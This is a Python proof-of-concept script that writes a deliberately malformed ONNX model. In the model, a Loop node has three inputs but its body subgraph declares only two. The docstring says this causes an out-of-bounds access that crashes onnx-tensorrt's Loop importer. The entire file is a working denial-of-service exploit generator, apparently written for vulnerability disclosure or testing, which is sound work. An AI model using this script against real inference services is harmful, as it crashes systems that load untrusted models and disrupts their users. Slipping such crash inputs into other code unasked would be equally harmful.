| |
| """Generate a malformed ONNX model that triggers a deterministic crash in onnx-tensorrt's Loop importer. |
| |
| It builds a Loop node with 3 inputs (trip_count, cond, state0) but a body subgraph with only 2 inputs. |
| The onnx-tensorrt Loop importer unconditionally indexes body.input(i) for i>=2, causing an out-of-bounds |
| access in protobuf repeated fields (DoS / crash). |
| |
| This script does NOT require the onnx Python package; it uses onnx.proto generated by protoc. |
| """ |
|
|
| import os |
| import sys |
|
|
| HERE = os.path.dirname(os.path.abspath(__file__)) |
| GEN = os.path.join(HERE, "gen") |
| sys.path.insert(0, GEN) |
|
|
| import onnx_pb2 |
|
|
|
|
| def _make_tensor(name: str, data_type: int, dims, float_data=None, int64_data=None, raw_data: bytes = b""): |
| t = onnx_pb2.TensorProto() |
| t.name = name |
| t.data_type = data_type |
| t.dims.extend(list(dims)) |
| if float_data is not None: |
| t.float_data.extend(float_data) |
| if int64_data is not None: |
| t.int64_data.extend(int64_data) |
| if raw_data: |
| t.raw_data = raw_data |
| return t |
|
|
|
|
| def _const_node(output_name: str, tensor: onnx_pb2.TensorProto, node_name: str): |
| n = onnx_pb2.NodeProto() |
| n.op_type = "Constant" |
| n.name = node_name |
| n.output.extend([output_name]) |
| a = onnx_pb2.AttributeProto() |
| a.name = "value" |
| a.type = onnx_pb2.AttributeProto.TENSOR |
| a.t.CopyFrom(tensor) |
| n.attribute.extend([a]) |
| return n |
|
|
|
|
| def main(out_path: str): |
| |
| |
| trip_t = _make_tensor("trip", onnx_pb2.TensorProto.INT64, [], int64_data=[1]) |
| |
| cond_t = _make_tensor("cond", onnx_pb2.TensorProto.BOOL, [], raw_data=b"\x01") |
|
|
| |
| state0_vi = onnx_pb2.ValueInfoProto() |
| state0_vi.name = "state0" |
| state0_vi.type.tensor_type.elem_type = onnx_pb2.TensorProto.FLOAT |
| state0_vi.type.tensor_type.shape.dim.add().dim_value = 1 |
|
|
| |
| out_vi = onnx_pb2.ValueInfoProto() |
| out_vi.name = "out_state" |
| out_vi.type.tensor_type.elem_type = onnx_pb2.TensorProto.FLOAT |
| out_vi.type.tensor_type.shape.dim.add().dim_value = 1 |
|
|
| |
| body = onnx_pb2.GraphProto() |
| body.name = "loop_body" |
|
|
| iter_vi = onnx_pb2.ValueInfoProto() |
| iter_vi.name = "iter" |
| iter_vi.type.tensor_type.elem_type = onnx_pb2.TensorProto.INT64 |
|
|
| cond_in_vi = onnx_pb2.ValueInfoProto() |
| cond_in_vi.name = "cond_in" |
| cond_in_vi.type.tensor_type.elem_type = onnx_pb2.TensorProto.BOOL |
|
|
| |
| body.input.extend([iter_vi, cond_in_vi]) |
|
|
| |
| body_out0 = onnx_pb2.ValueInfoProto() |
| body_out0.name = "cond_out" |
| body_out0.type.tensor_type.elem_type = onnx_pb2.TensorProto.BOOL |
|
|
| body_out1 = onnx_pb2.ValueInfoProto() |
| body_out1.name = "state_out" |
| body_out1.type.tensor_type.elem_type = onnx_pb2.TensorProto.FLOAT |
| body_out1.type.tensor_type.shape.dim.add().dim_value = 1 |
|
|
| body.output.extend([body_out0, body_out1]) |
|
|
| |
| cond_const = _make_tensor("cond_val", onnx_pb2.TensorProto.BOOL, [], raw_data=b"\x01") |
| state_const = _make_tensor("state_val", onnx_pb2.TensorProto.FLOAT, [1], float_data=[0.0]) |
| body.node.extend( |
| [ |
| _const_node("cond_out", cond_const, "const_true"), |
| _const_node("state_out", state_const, "const_state"), |
| ] |
| ) |
|
|
| |
| loop = onnx_pb2.NodeProto() |
| loop.op_type = "Loop" |
| loop.name = "poc_loop" |
| loop.input.extend(["trip", "cond", "state0"]) |
| loop.output.extend(["out_state"]) |
|
|
| body_attr = onnx_pb2.AttributeProto() |
| body_attr.name = "body" |
| body_attr.type = onnx_pb2.AttributeProto.GRAPH |
| body_attr.g.CopyFrom(body) |
| loop.attribute.extend([body_attr]) |
|
|
| |
| graph = onnx_pb2.GraphProto() |
| graph.name = "poc_graph" |
| graph.input.extend([state0_vi]) |
| graph.output.extend([out_vi]) |
| graph.node.extend([loop]) |
| graph.initializer.extend([trip_t, cond_t]) |
|
|
| model = onnx_pb2.ModelProto() |
| model.ir_version = 8 |
| model.producer_name = "poc-generator" |
| model.graph.CopyFrom(graph) |
|
|
| |
| opset = onnx_pb2.OperatorSetIdProto() |
| opset.domain = "" |
| opset.version = 13 |
| model.opset_import.extend([opset]) |
|
|
| with open(out_path, "wb") as f: |
| f.write(model.SerializeToString()) |
|
|
| print(f"Wrote {out_path} ({os.path.getsize(out_path)} bytes)") |
|
|
|
|
| if __name__ == "__main__": |
| if len(sys.argv) != 2: |
| print(f"Usage: {sys.argv[0]} OUT.onnx", file=sys.stderr) |
| raise SystemExit(2) |
| main(sys.argv[1]) |
|
|